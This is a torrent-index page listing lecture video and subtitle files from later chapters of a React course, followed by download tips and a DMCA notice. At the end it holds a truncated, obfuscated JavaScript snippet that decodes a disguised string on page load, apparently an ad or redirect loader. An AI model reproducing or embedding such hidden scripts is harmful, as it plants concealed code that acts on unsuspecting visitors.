    Chapter 26 A Introduction to Next.js - Pages Router/019. Exploring Server-side Rendering with getServerSideProps.en.srt 9.7 KB
    Chapter 26 A Introduction to Next.js - Pages Router/019. Exploring Server-side Rendering with getServerSideProps.mp4 23.77 MB
    Chapter 26 A Introduction to Next.js - Pages Router/020. Working with Params for SSG Data Fetching.en.srt 7.32 KB
    Chapter 26 A Introduction to Next.js - Pages Router/020. Working with Params for SSG Data Fetching.mp4 19.13 MB
    Chapter 26 A Introduction to Next.js - Pages Router/021. Preparing Paths with getStaticPaths & Working With Fallback Pages.en.srt 10.3 KB
    Chapter 26 A Introduction to Next.js - Pages Router/021. Preparing Paths with getStaticPaths & Working With Fallback Pages.mp4 26.89 MB
    Chapter 26 A Introduction to Next.js - Pages Router/022. Introducing API Routes.en.srt 9.11 KB
    Chapter 26 A Introduction to Next.js - Pages Router/022. Introducing API Routes.mp4 23.55 MB
    Chapter 26 A Introduction to Next.js - Pages Router/023. Working with MongoDB.en.srt 13.92 KB
    Chapter 26 A Introduction to Next.js - Pages Router/023. Working with MongoDB.mp4 34.8 MB
    Chapter 26 A Introduction to Next.js - Pages Router/024. Sending Http Requests To Our API Routes.en.srt 9.87 KB
    Chapter 26 A Introduction to Next.js - Pages Router/024. Sending Http Requests To Our API Routes.mp4 24.78 MB
    Chapter 26 A Introduction to Next.js - Pages Router/025. Getting Data From The Database.en.srt 10.18 KB
    Chapter 26 A Introduction to Next.js - Pages Router/025. Getting Data From The Database.mp4 25.96 MB
    Chapter 26 A Introduction to Next.js - Pages Router/026. Getting Meetup Details Data & Preparing Pages.en.srt 13.48 KB
    Chapter 26 A Introduction to Next.js - Pages Router/026. Getting Meetup Details Data & Preparing Pages.mp4 34.96 MB
    Chapter 26 A Introduction to Next.js - Pages Router/027. Adding head Metadata.en.srt 12.88 KB
    Chapter 26 A Introduction to Next.js - Pages Router/027. Adding head Metadata.mp4 33.76 MB
    Chapter 26 A Introduction to Next.js - Pages Router/028. Deploying Next.js Projects.en.srt 19.29 KB
    Chapter 26 A Introduction to Next.js - Pages Router/028. Deploying Next.js Projects.mp4 45.09 MB
    Chapter 26 A Introduction to Next.js - Pages Router/029. Using Fallback Pages & Re-deploying.en.srt 6.02 KB
    Chapter 26 A Introduction to Next.js - Pages Router/029. Using Fallback Pages & Re-deploying.mp4 15.68 MB
    Chapter 26 A Introduction to Next.js - Pages Router/030. Summary.en.srt 3.26 KB
    Chapter 26 A Introduction to Next.js - Pages Router/030. Summary.mp4 13.77 MB
    Chapter 27 Animating React Apps with Framer Motion/001. Module Introduction.en.srt 3.46 KB
    Chapter 27 Animating React Apps with Framer Motion/001. Module Introduction.mp4 13.3 MB
    Chapter 27 Animating React Apps with Framer Motion/002. Project Setup & Overview.en.srt 2.19 KB
    Chapter 27 Animating React Apps with Framer Motion/002. Project Setup & Overview.mp4 5.14 MB
    Chapter 27 Animating React Apps with Framer Motion/003. Animating with CSS Transitions.en.srt 9.32 KB
    Chapter 27 Animating React Apps with Framer Motion/003. Animating with CSS Transitions.mp4 34.93 MB
    Chapter 27 Animating React Apps with Framer Motion/004. Animating with CSS Animations.en.srt 6.87 KB
    Chapter 27 Animating React Apps with Framer Motion/004. Animating with CSS Animations.mp4 22.91 MB
    Chapter 27 Animating React Apps with Framer Motion/005. Introducing Framer Motion.en.srt 4.87 KB
    Chapter 27 Animating React Apps with Framer Motion/005. Introducing Framer Motion.mp4 12.16 MB
    Chapter 27 Animating React Apps with Framer Motion/006. Framer Motion Basics & Fundamentals.en.srt 10.41 KB
    Chapter 27 Animating React Apps with Framer Motion/006. Framer Motion Basics & Fundamentals.mp4 28.25 MB
    Chapter 27 Animating React Apps with Framer Motion/007. Animating Between Conditional Values.en.srt 4.93 KB
    Chapter 27 Animating React Apps with Framer Motion/007. Animating Between Conditional Values.mp4 18.83 MB
    Chapter 27 Animating React Apps with Framer Motion/008. Adding Entry Animations.en.srt 5.38 KB
    Chapter 27 Animating React Apps with Framer Motion/008. Adding Entry Animations.mp4 18.9 MB
    Chapter 27 Animating React Apps with Framer Motion/009. Animating Element Disappearances Removal.en.srt 4.75 KB
    Chapter 27 Animating React Apps with Framer Motion/009. Animating Element Disappearances Removal.mp4 18.1 MB
    Chapter 27 Animating React Apps with Framer Motion/010. Making Elements Pop With Hover Animations.en.srt 5.31 KB
    Chapter 27 Animating React Apps with Framer Motion/010. Making Elements Pop With Hover Animations.mp4 17.05 MB
    Chapter 27 Animating React Apps with Framer Motion/011. Reusing Animation States.en.srt 4.45 KB
    Chapter 27 Animating React Apps with Framer Motion/011. Reusing Animation States.mp4 16.58 MB
    Chapter 27 Animating React Apps with Framer Motion/012. Nested Animations & Variants.en.srt 10.03 KB
    Chapter 27 Animating React Apps with Framer Motion/012. Nested Animations & Variants.mp4 38.98 MB
    Chapter 27 Animating React Apps with Framer Motion/013. Animating Staggered Lists.en.srt 5.71 KB
    Chapter 27 Animating React Apps with Framer Motion/013. Animating Staggered Lists.mp4 22.24 MB
    Chapter 27 Animating React Apps with Framer Motion/014. Animating Colors & Working with Keyframes.en.srt 5.17 KB
    Chapter 27 Animating React Apps with Framer Motion/014. Animating Colors & Working with Keyframes.mp4 18.59 MB
    Chapter 27 Animating React Apps with Framer Motion/015. Imperative Animations.en.srt 9.2 KB
    Chapter 27 Animating React Apps with Framer Motion/015. Imperative Animations.mp4 41.02 MB
    Chapter 27 Animating React Apps with Framer Motion/016. Animating Layout Changes.en.srt 4.43 KB
    Chapter 27 Animating React Apps with Framer Motion/016. Animating Layout Changes.mp4 15.97 MB
    Chapter 27 Animating React Apps with Framer Motion/017. Orchestrating Multi-Element Animations.en.srt 12.74 KB
    Chapter 27 Animating React Apps with Framer Motion/017. Orchestrating Multi-Element Animations.mp4 55.42 MB
    Chapter 27 Animating React Apps with Framer Motion/018. Combining Animations With Layout Animations.en.srt 4.7 KB
    Chapter 27 Animating React Apps with Framer Motion/018. Combining Animations With Layout Animations.mp4 18.08 MB
    Chapter 27 Animating React Apps with Framer Motion/019. Animating Shared Elements.en.srt 5.27 KB
    Chapter 27 Animating React Apps with Framer Motion/019. Animating Shared Elements.mp4 19.05 MB
    Chapter 27 Animating React Apps with Framer Motion/020. Re-triggering Animations via Keys.en.srt 6.23 KB
    Chapter 27 Animating React Apps with Framer Motion/020. Re-triggering Animations via Keys.mp4 18.08 MB
    Chapter 27 Animating React Apps with Framer Motion/021. Scroll-based Animations.en.srt 17.65 KB
    Chapter 27 Animating React Apps with Framer Motion/021. Scroll-based Animations.mp4 96.9 MB
    Chapter 28 React Patterns & Best Practices/001. Module Introduction.en.srt 905 B
    Chapter 28 React Patterns & Best Practices/001. Module Introduction.mp4 2.17 MB
    Chapter 28 React Patterns & Best Practices/002. Project Overview.en.srt 1.02 KB
    Chapter 28 React Patterns & Best Practices/002. Project Overview.mp4 1.99 MB
    Chapter 28 React Patterns & Best Practices/003. Introducing Compound Components.en.srt 13.72 KB
    Chapter 28 React Patterns & Best Practices/003. Introducing Compound Components.mp4 36.57 MB
    Chapter 28 React Patterns & Best Practices/004. Managing Multi-Component State with the Context API.en.srt 13.69 KB
    Chapter 28 React Patterns & Best Practices/004. Managing Multi-Component State with the Context API.mp4 46.82 MB
    Chapter 28 React Patterns & Best Practices/005. Grouping Compound Components.en.srt 7.81 KB
    Chapter 28 React Patterns & Best Practices/005. Grouping Compound Components.mp4 31.04 MB
    Chapter 28 React Patterns & Best Practices/006. Adding Extra Components For Reusability & Configurability.en.srt 10.72 KB
    Chapter 28 React Patterns & Best Practices/006. Adding Extra Components For Reusability & Configurability.mp4 39.91 MB
    Chapter 28 React Patterns & Best Practices/007. Sharing Cross-Component State When Working With Compound Components.en.srt 7.78 KB
    Chapter 28 React Patterns & Best Practices/007. Sharing Cross-Component State When Working With Compound Components.mp4 31.73 MB
    Chapter 28 React Patterns & Best Practices/008. Introducing & Using Render Props.en.srt 7.84 KB
    Chapter 28 React Patterns & Best Practices/008. Introducing & Using Render Props.mp4 22.17 MB
    Chapter 28 React Patterns & Best Practices/009. Adding Search To A React App.en.srt 5.28 KB
    Chapter 28 React Patterns & Best Practices/009. Adding Search To A React App.mp4 19.1 MB
    Chapter 28 React Patterns & Best Practices/010. Implementing a Search Functionality With Help Of Render Props.en.srt 5.36 KB
    Chapter 28 React Patterns & Best Practices/010. Implementing a Search Functionality With Help Of Render Props.mp4 18.74 MB
    Chapter 28 React Patterns & Best Practices/011. Handling Keys Dynamically.en.srt 3.12 KB
    Chapter 28 React Patterns & Best Practices/011. Handling Keys Dynamically.mp4 12.42 MB
    Chapter 28 React Patterns & Best Practices/012. Working with Debouncing.en.srt 8.81 KB
    Chapter 28 React Patterns & Best Practices/012. Working with Debouncing.mp4 32.99 MB
    Chapter 29 Testing React Apps/001. Module Introduction.en.srt 1.58 KB
    Chapter 29 Testing React Apps/001. Module Introduction.mp4 2.88 MB
    Chapter 29 Testing React Apps/002. What & Why.en.srt 4.28 KB
    Chapter 29 Testing React Apps/002. What & Why.mp4 8.15 MB
    Chapter 29 Testing React Apps/003. Understanding Different Kinds Of Tests.en.srt 5.2 KB
    Chapter 29 Testing React Apps/003. Understanding Different Kinds Of Tests.mp4 14.31 MB
    Chapter 29 Testing React Apps/004. What To Test & How To Test.en.srt 1.87 KB
    Chapter 29 Testing React Apps/004. What To Test & How To Test.mp4 3.21 MB
    Chapter 29 Testing React Apps/005. Understanding the Technical Setup & Involved Tools.en.srt 3.24 KB
    Chapter 29 Testing React Apps/005. Understanding the Technical Setup & Involved Tools.mp4 8.14 MB
    Chapter 29 Testing React Apps/006. Running a First Test.en.srt 9.51 KB
    Chapter 29 Testing React Apps/006. Running a First Test.mp4 26.7 MB
    Chapter 29 Testing React Apps/007. Writing Our First Test.en.srt 13.72 KB
    Chapter 29 Testing React Apps/007. Writing Our First Test.mp4 40.59 MB
    Chapter 29 Testing React Apps/008. Grouping Tests Together With Test Suites.en.srt 2.83 KB
    Chapter 29 Testing React Apps/008. Grouping Tests Together With Test Suites.mp4 10.03 MB
    Chapter 29 Testing React Apps/009. Testing User Interaction & State.en.srt 18.01 KB
    Chapter 29 Testing React Apps/009. Testing User Interaction & State.mp4 76.69 MB
    Chapter 29 Testing React Apps/010. Testing Connected Components.en.srt 4.45 KB
    Chapter 29 Testing React Apps/010. Testing Connected Components.mp4 14.95 MB
    Chapter 29 Testing React Apps/011. Testing Asynchronous Code.en.srt 11.76 KB
    Chapter 29 Testing React Apps/011. Testing Asynchronous Code.mp4 41.35 MB
    Chapter 29 Testing React Apps/012. Working With Mocks.en.srt 11.09 KB
    Chapter 29 Testing React Apps/012. Working With Mocks.mp4 38.4 MB
    Chapter 29 Testing React Apps/013. Summary & Further Resources.en.srt 5.24 KB
    Chapter 29 Testing React Apps/013. Summary & Further Resources.mp4 26.57 MB
    Chapter 30 React & TypeScript/001. Module Introduction.en.srt 1.71 KB
    Chapter 30 React & TypeScript/001. Module Introduction.mp4 2.61 MB
    Chapter 30 React & TypeScript/002. What & Why.en.srt 7.95 KB
    Chapter 30 React & TypeScript/002. What & Why.mp4 14.06 MB
    Chapter 30 React & TypeScript/003. Installing & Using TypeScript.en.srt 8.95 KB
    Chapter 30 React & TypeScript/003. Installing & Using TypeScript.mp4 23.87 MB
    Chapter 30 React & TypeScript/004. Exploring the Base Types.en.srt 5.5 KB
    Chapter 30 React & TypeScript/004. Exploring the Base Types.mp4 12.12 MB
    Chapter 30 React & TypeScript/005. Working with Array and Object Types.en.srt 8.15 KB
    Chapter 30 React & TypeScript/005. Working with Array and Object Types.mp4 18.29 MB
    Chapter 30 React & TypeScript/006. Understanding Type Inference.en.srt 3.77 KB
    Chapter 30 React & TypeScript/006. Understanding Type Inference.mp4 8.47 MB
    Chapter 30 React & TypeScript/007. Using Union Types.en.srt 4.04 KB
    Chapter 30 React & TypeScript/007. Using Union Types.mp4 8.54 MB
    Chapter 30 React & TypeScript/008. Understanding Type Aliases.en.srt 3.83 KB
    Chapter 30 React & TypeScript/008. Understanding Type Aliases.mp4 9.22 MB
    Chapter 30 React & TypeScript/009. Functions and Function Types.en.srt 7.35 KB
    Chapter 30 React & TypeScript/009. Functions and Function Types.mp4 16.32 MB
    Chapter 30 React & TypeScript/010. Diving into Generics.en.srt 11.67 KB
    Chapter 30 React & TypeScript/010. Diving into Generics.mp4 28.44 MB
    Chapter 30 React & TypeScript/011. Creating a React + TypeScript Project.en.srt 11.6 KB
    Chapter 30 React & TypeScript/011. Creating a React + TypeScript Project.mp4 31.18 MB
    Chapter 30 React & TypeScript/012. Working with Components and TypeScript.en.srt 8.42 KB
    Chapter 30 React & TypeScript/012. Working with Components and TypeScript.mp4 20.55 MB
    Chapter 30 React & TypeScript/013. Working with Props and TypeScript.en.srt 20.6 KB
    Chapter 30 React & TypeScript/013. Working with Props and TypeScript.mp4 51.73 MB
    Chapter 30 React & TypeScript/014. Adding a Data Model.en.srt 12.76 KB
    Chapter 30 React & TypeScript/014. Adding a Data Model.mp4 33.28 MB
    Chapter 30 React & TypeScript/015. Time to Practice Exercise Time!.en.srt 9.86 KB
    Chapter 30 React & TypeScript/015. Time to Practice Exercise Time!.mp4 25.48 MB
    Chapter 30 React & TypeScript/016. Form Submissions in TypeScript Projects.en.srt 7.56 KB
    Chapter 30 React & TypeScript/016. Form Submissions in TypeScript Projects.mp4 19.32 MB
    Chapter 30 React & TypeScript/017. Working with refs and useRef().en.srt 15.73 KB
    Chapter 30 React & TypeScript/017. Working with refs and useRef().mp4 39.67 MB
    Chapter 30 React & TypeScript/018. Working with Function Props.en.srt 10.08 KB
    Chapter 30 React & TypeScript/018. Working with Function Props.mp4 26.85 MB
    Chapter 30 React & TypeScript/019. Managing State and TypeScript.en.srt 7.18 KB
    Chapter 30 React & TypeScript/019. Managing State and TypeScript.mp4 18.95 MB
    Chapter 30 React & TypeScript/020. Adding Styling.en.srt 3.07 KB
    Chapter 30 React & TypeScript/020. Adding Styling.mp4 8.62 MB
    Chapter 30 React & TypeScript/021. Time to Practice Removing a Todo.en.srt 13.4 KB
    Chapter 30 React & TypeScript/021. Time to Practice Removing a Todo.mp4 34.04 MB
    Chapter 30 React & TypeScript/022. The Context API and TypeScript.en.srt 19.14 KB
    Chapter 30 React & TypeScript/022. The Context API and TypeScript.mp4 50.15 MB
    Chapter 30 React & TypeScript/023. Summary.en.srt 3.73 KB
    Chapter 30 React & TypeScript/023. Summary.mp4 8.46 MB
    Chapter 30 React & TypeScript/024. Bonus Exploring tsconfig.json.en.srt 8.42 KB
    Chapter 30 React & TypeScript/024. Bonus Exploring tsconfig.json.mp4 26.97 MB
    Chapter 31 Optional React Hooks Introduction and Summary/001. Module Introduction.en.srt 2.82 KB
    Chapter 31 Optional React Hooks Introduction and Summary/001. Module Introduction.mp4 4.23 MB
    Chapter 31 Optional React Hooks Introduction and Summary/002. What Are React Hooks.en.srt 6.8 KB
    Chapter 31 Optional React Hooks Introduction and Summary/002. What Are React Hooks.mp4 11.59 MB
    Chapter 31 Optional React Hooks Introduction and Summary/003. The Starting Project.en.srt 8.67 KB
    Chapter 31 Optional React Hooks Introduction and Summary/003. The Starting Project.mp4 17.79 MB
    Chapter 31 Optional React Hooks Introduction and Summary/004. Getting Started with useState().en.srt 12.33 KB
    Chapter 31 Optional React Hooks Introduction and Summary/004. Getting Started with useState().mp4 34.3 MB
    Chapter 31 Optional React Hooks Introduction and Summary/005. More on useState() and State Updating.en.srt 15.6 KB
    Chapter 31 Optional React Hooks Introduction and Summary/005. More on useState() and State Updating.mp4 43.69 MB
    Chapter 31 Optional React Hooks Introduction and Summary/006. Array Destructuring.en.srt 3.87 KB
    Chapter 31 Optional React Hooks Introduction and Summary/006. Array Destructuring.mp4 10.41 MB
    Chapter 31 Optional React Hooks Introduction and Summary/007. Multiple States.en.srt 4.78 KB
    Chapter 31 Optional React Hooks Introduction and Summary/007. Multiple States.mp4 14.48 MB
    Chapter 31 Optional React Hooks Introduction and Summary/008. Rules of Hooks.en.srt 3.02 KB
    Chapter 31 Optional React Hooks Introduction and Summary/008. Rules of Hooks.mp4 10.51 MB
    Chapter 31 Optional React Hooks Introduction and Summary/009. Passing State Data Across Components.en.srt 10.37 KB
    Chapter 31 Optional React Hooks Introduction and Summary/009. Passing State Data Across Components.mp4 29.03 MB
    Chapter 31 Optional React Hooks Introduction and Summary/010. Time to Practice Hooks Basics - Problem.en.srt 1.66 KB
    Chapter 31 Optional React Hooks Introduction and Summary/010. Time to Practice Hooks Basics - Problem.mp4 4.4 MB
    Chapter 31 Optional React Hooks Introduction and Summary/011. Time to Practice Hooks Basics - Solution.en.srt 4.34 KB
    Chapter 31 Optional React Hooks Introduction and Summary/011. Time to Practice Hooks Basics - Solution.mp4 12.56 MB
    Chapter 31 Optional React Hooks Introduction and Summary/012. Sending HTTP Requests.en.srt 9.26 KB
    Chapter 31 Optional React Hooks Introduction and Summary/012. Sending HTTP Requests.mp4 26.84 MB
    Chapter 31 Optional React Hooks Introduction and Summary/013. useEffect() and Loading Data.en.srt 10.65 KB
    Chapter 31 Optional React Hooks Introduction and Summary/013. useEffect() and Loading Data.mp4 29.78 MB
    Chapter 31 Optional React Hooks Introduction and Summary/014. Understanding useEffect() Dependencies.en.srt 3.17 KB
    Chapter 31 Optional React Hooks Introduction and Summary/014. Understanding useEffect() Dependencies.mp4 8.85 MB
    Chapter 31 Optional React Hooks Introduction and Summary/015. More on useEffect().en.srt 12.55 KB
    Chapter 31 Optional React Hooks Introduction and Summary/015. More on useEffect().mp4 35.57 MB
    Chapter 31 Optional React Hooks Introduction and Summary/016. What's useCallback().en.srt 7.49 KB
    Chapter 31 Optional React Hooks Introduction and Summary/016. What's useCallback().mp4 20.34 MB
    Chapter 31 Optional React Hooks Introduction and Summary/017. Working with Refs and useRef().en.srt 7.33 KB
    Chapter 31 Optional React Hooks Introduction and Summary/017. Working with Refs and useRef().mp4 19.7 MB
    Chapter 31 Optional React Hooks Introduction and Summary/018. Cleaning Up with useEffect().en.srt 4.47 KB
    Chapter 31 Optional React Hooks Introduction and Summary/018. Cleaning Up with useEffect().mp4 14.83 MB
    Chapter 31 Optional React Hooks Introduction and Summary/019. Deleting Ingredients.en.srt 3.51 KB
    Chapter 31 Optional React Hooks Introduction and Summary/019. Deleting Ingredients.mp4 9.62 MB
    Chapter 31 Optional React Hooks Introduction and Summary/020. Loading Errors and State Batching.en.srt 11.15 KB
    Chapter 31 Optional React Hooks Introduction and Summary/020. Loading Errors and State Batching.mp4 32.44 MB
    Chapter 31 Optional React Hooks Introduction and Summary/021. Understanding useReducer().en.srt 12.87 KB
    Chapter 31 Optional React Hooks Introduction and Summary/021. Understanding useReducer().mp4 35.53 MB
    Chapter 31 Optional React Hooks Introduction and Summary/022. Using useReducer() for the HTTP State.en.srt 13.71 KB
    Chapter 31 Optional React Hooks Introduction and Summary/022. Using useReducer() for the HTTP State.mp4 38.59 MB
    Chapter 31 Optional React Hooks Introduction and Summary/023. Working with useContext().en.srt 10.46 KB
    Chapter 31 Optional React Hooks Introduction and Summary/023. Working with useContext().mp4 30.77 MB
    Chapter 31 Optional React Hooks Introduction and Summary/024. Performance Optimizations with useMemo().en.srt 14.42 KB
    Chapter 31 Optional React Hooks Introduction and Summary/024. Performance Optimizations with useMemo().mp4 38.1 MB
    Chapter 31 Optional React Hooks Introduction and Summary/025. Getting Started with Custom Hooks.en.srt 17.31 KB
    Chapter 31 Optional React Hooks Introduction and Summary/025. Getting Started with Custom Hooks.mp4 49.47 MB
    Chapter 31 Optional React Hooks Introduction and Summary/026. Sharing Data Between Custom Hooks and Components.en.srt 18.27 KB
    Chapter 31 Optional React Hooks Introduction and Summary/026. Sharing Data Between Custom Hooks and Components.mp4 53.8 MB
    Chapter 31 Optional React Hooks Introduction and Summary/027. Using the Custom Hook.en.srt 9.8 KB
    Chapter 31 Optional React Hooks Introduction and Summary/027. Using the Custom Hook.mp4 29.43 MB
    Chapter 31 Optional React Hooks Introduction and Summary/028. Wrap Up.en.srt 4.16 KB
    Chapter 31 Optional React Hooks Introduction and Summary/028. Wrap Up.mp4 11.43 MB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/001. Module Introduction.en.srt 1.74 KB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/001. Module Introduction.mp4 3.73 MB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/002. What Is React and Why Would You Use It.en.srt 8.36 KB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/002. What Is React and Why Would You Use It.mp4 20.35 MB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/003. React Projects - Requirements.en.srt 3.34 KB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/003. React Projects - Requirements.mp4 8.85 MB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/004. Creating React Projects.en.srt 5.55 KB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/004. Creating React Projects.mp4 10.24 MB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/005. Our Starting Project.en.srt 5.93 KB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/005. Our Starting Project.mp4 14.11 MB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/006. Understanding How React Works.en.srt 10.04 KB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/006. Understanding How React Works.mp4 24.89 MB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/007. Building a First Custom Component.en.srt 16.55 KB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/007. Building a First Custom Component.mp4 35.64 MB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/008. Outputting Dynamic Values.en.srt 7.27 KB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/008. Outputting Dynamic Values.mp4 15.56 MB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/009. Reusing Components.en.srt 9.4 KB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/009. Reusing Components.mp4 19.8 MB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/010. Passing Data to Components with Props.en.srt 9.24 KB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/010. Passing Data to Components with Props.mp4 20.04 MB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/011. CSS Styling and CSS Modules.en.srt 13.69 KB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/011. CSS Styling and CSS Modules.mp4 36.45 MB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/012. Exercise and Another Component.en.srt 9.29 KB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/012. Exercise and Another Component.mp4 25.04 MB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/013. Preparing the App for State Management.en.srt 5.64 KB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/013. Preparing the App for State Management.mp4 15.76 MB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/014. Adding Event Listeners.en.srt 11.25 KB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/014. Adding Event Listeners.mp4 30.21 MB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/015. Working with State.en.srt 14.07 KB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/015. Working with State.mp4 39.1 MB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/016. Lifting State Up.en.srt 12.7 KB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/016. Lifting State Up.mp4 37.76 MB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/017. The Special children Prop.en.srt 10.21 KB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/017. The Special children Prop.mp4 32.19 MB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/018. State and Conditional Content.en.srt 13.52 KB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/018. State and Conditional Content.mp4 42.02 MB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/019. Adding a Shared Header and More State Management.en.srt 10.85 KB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/019. Adding a Shared Header and More State Management.mp4 37.55 MB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/020. Adding Form Buttons.en.srt 5.48 KB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/020. Adding Form Buttons.mp4 16.47 MB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/021. Handling Form Submission.en.srt 9.04 KB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/021. Handling Form Submission.mp4 32.68 MB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/022. Updating State Based on Previous State.en.srt 7.67 KB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/022. Updating State Based on Previous State.mp4 27.24 MB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/023. Outputting List Data.en.srt 8.97 KB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/023. Outputting List Data.mp4 31.87 MB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/024. Adding a Backend to the React SPA.en.srt 8.51 KB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/024. Adding a Backend to the React SPA.mp4 20.84 MB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/025. Sending a POST HTTP Request.en.srt 6.31 KB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/025. Sending a POST HTTP Request.mp4 20.26 MB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/026. Handling Side Effects with useEffect().en.srt 14.58 KB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/026. Handling Side Effects with useEffect().mp4 43.47 MB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/027. Handle Loading State.en.srt 6.79 KB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/027. Handle Loading State.mp4 19.3 MB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/028. Understanding and Adding Routing.en.srt 6.11 KB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/028. Understanding and Adding Routing.mp4 12.29 MB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/029. Adding Routes.en.srt 9.04 KB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/029. Adding Routes.mp4 21.32 MB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/030. Working with Layout Routes.en.srt 6.35 KB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/030. Working with Layout Routes.mp4 18.21 MB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/031. Refactoring Route Components and More Nesting.en.srt 8.46 KB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/031. Refactoring Route Components and More Nesting.mp4 23.97 MB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/032. Linking and Navigating.en.srt 12.64 KB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/032. Linking and Navigating.mp4 32.08 MB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/033. Data Fetching through loader()s.en.srt 14.48 KB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/033. Data Fetching through loader()s.mp4 40.88 MB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/034. Submitting Data with action()s.en.srt 17.91 KB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/034. Submitting Data with action()s.mp4 52.95 MB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/035. Dynamic Routes.en.srt 13 KB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/035. Dynamic Routes.mp4 41.18 MB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/036. Module Summary.en.srt 2.27 KB
    Chapter 32 Optional React Summary and Core Feature Walkthrough/036. Module Summary.mp4 5.74 MB
    Chapter 33 Course Roundup/001. Roundup.en.srt 1.53 KB
    Chapter 33 Course Roundup/001. Roundup.mp4 26.67 MB

Download Info

  • Tips

    “React - The Complete Guide (Includes Hooks, React Router, and Redux) - Second Edition” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="h9m3gbx3qf";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF 